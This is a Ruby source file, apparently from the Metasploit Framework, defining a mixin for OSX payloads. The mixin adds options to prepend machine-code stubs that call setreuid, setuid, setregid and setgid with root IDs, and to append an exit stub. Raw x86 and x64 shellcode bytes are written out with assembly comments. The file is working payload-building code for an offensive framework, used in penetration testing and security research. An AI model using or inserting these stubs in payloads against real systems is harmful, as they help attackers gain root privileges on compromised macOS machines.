185 lines
6.4 KiB
Ruby
185 lines
6.4 KiB
Ruby
# -*- coding: binary -*-
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require 'msf/core'
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###
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#
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# This class is here to implement advanced features for osx-based
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# payloads. OSX payloads are expected to include this module if
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# they want to support these features.
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#
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###
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module Msf::Payload::Osx
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#
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# This mixin is chained within payloads that target the OSX platform.
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# It provides special prepends, to support things like chroot and setuid.
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#
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def initialize(info = {})
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ret = super(info)
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register_advanced_options(
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[
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Msf::OptBool.new('PrependSetreuid',
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[
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false,
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"Prepend a stub that executes the setreuid(0, 0) system call",
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false
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]
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),
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Msf::OptBool.new('PrependSetuid',
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[
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false,
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"Prepend a stub that executes the setuid(0) system call",
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false
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]
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),
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Msf::OptBool.new('PrependSetregid',
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[
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false,
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"Prepend a stub that executes the setregid(0, 0) system call",
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false
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]
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),
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Msf::OptBool.new('PrependSetgid',
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[
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false,
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"Prepend a stub that executes the setgid(0) system call",
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false
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]
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),
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Msf::OptBool.new('AppendExit',
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[
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false,
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"Append a stub that executes the exit(0) system call",
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false
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]
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),
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], Msf::Payload::Osx)
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ret
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end
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def apply_prepends(buf)
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test_arch = [ *(self.arch) ]
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pre = ''
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app = ''
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# Handle all x86 code here
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if (test_arch.include?(ARCH_X86))
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handle_x86_osx_opts(pre, app)
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elsif (test_arch.include?(ARCH_X64))
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handle_x64_osx_opts(pre, app)
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end
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pre + buf + app
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end
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def handle_x86_osx_opts(pre, app)
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if (datastore['PrependSetreuid'])
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# setreuid(0, 0)
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pre << "\x31\xc0" +# xorl %eax,%eax #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\xb0\x7e" +# movb $0x7e,%al #
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"\xcd\x80" # int $0x80 #
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end
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if (datastore['PrependSetuid'])
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# setuid(0)
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pre << "\x31\xc0" +# xorl %eax,%eax #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\xb0\x17" +# movb $0x17,%al #
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"\xcd\x80" # int $0x80 #
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end
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if (datastore['PrependSetregid'])
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# setregid(0, 0)
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pre << "\x31\xc0" +# xorl %eax,%eax #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\xb0\x7f" +# movb $0x7f,%al #
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"\xcd\x80" # int $0x80 #
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end
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if (datastore['PrependSetgid'])
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# setgid(0)
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pre << "\x31\xc0" +# xorl %eax,%eax #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\xb0\xb5" +# movb $0xb5,%al #
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"\xcd\x80" # int $0x80 #
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end
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if (datastore['AppendExit'])
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# exit(0)
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app << "\x31\xc0" +# xorl %eax,%eax #
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"\x50" +# pushl %eax #
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"\xb0\x01" +# movb $0x01,%al #
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"\xcd\x80" # int $0x80 #
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end
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end
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def handle_x64_osx_opts(pre, app)
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if (datastore['PrependSetreuid'])
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# setreuid(0, 0)
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pre << "\x41\xb0\x02" +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)
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"\x49\xc1\xe0\x18" +# shl r8, 24
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"\x49\x83\xc8\x7e" +# or r8, 126 (setreuid=126)
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"\x4c\x89\xc0" +# mov rax, r8
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"\x48\x31\xff" +# xor rdi, rdi 0
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"\x48\x31\xf6" +# xor rsi, rsi 0
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"\x0f\x05" # syscall
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end
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if (datastore['PrependSetuid'])
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# setuid(0)
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pre << "\x41\xb0\x02" +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)
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"\x49\xc1\xe0\x18" +# shl r8, 24
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"\x49\x83\xc8\x17" +# or r8, 23 (setuid=23)
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"\x4c\x89\xc0" +# mov rax, r8
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"\x48\x31\xff" +# xor rdi, rdi 0
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"\x0f\x05" # syscall
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end
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if (datastore['PrependSetregid'])
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# setregid(0, 0)
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pre << "\x41\xb0\x02" +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)
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"\x49\xc1\xe0\x18" +# shl r8, 24
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"\x49\x83\xc8\x7f" +# or r8, 127 (setregid=127)
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"\x4c\x89\xc0" +# mov rax, r8
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"\x48\x31\xff" +# xor rdi, rdi 0
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"\x48\x31\xf6" +# xor rsi, rsi 0
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"\x0f\x05" # syscall
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end
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if (datastore['PrependSetgid'])
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# setgid(0)
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pre << "\x41\xb0\x02" +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)
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"\x49\xc1\xe0\x17" +# shl r8, 23
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"\x49\x83\xc8\x5a" +# or r8, 90 (setgid=181>>1=90)
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"\x49\xd1\xe0" +# shl r8, 1
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"\x49\x83\xc8\x01" +# or r8, 1 (setgid=181&1=1)
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"\x4c\x89\xc0" +# mov rax, r8
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"\x48\x31\xff" +# xor rdi, rdi 0
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"\x0f\x05" # syscall
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end
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if (datastore['AppendExit'])
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# exit(0)
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app << "\x41\xb0\x02" +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)
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"\x49\xc1\xe0\x18" +# shl r8, 24
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"\x49\x83\xc8\x01" +# or r8, 1 (exit=1)
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"\x4c\x89\xc0" +# mov rax, r8
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"\x48\x31\xff" +# xor rdi, rdi 0
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"\x0f\x05" # syscall
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end
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end
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end
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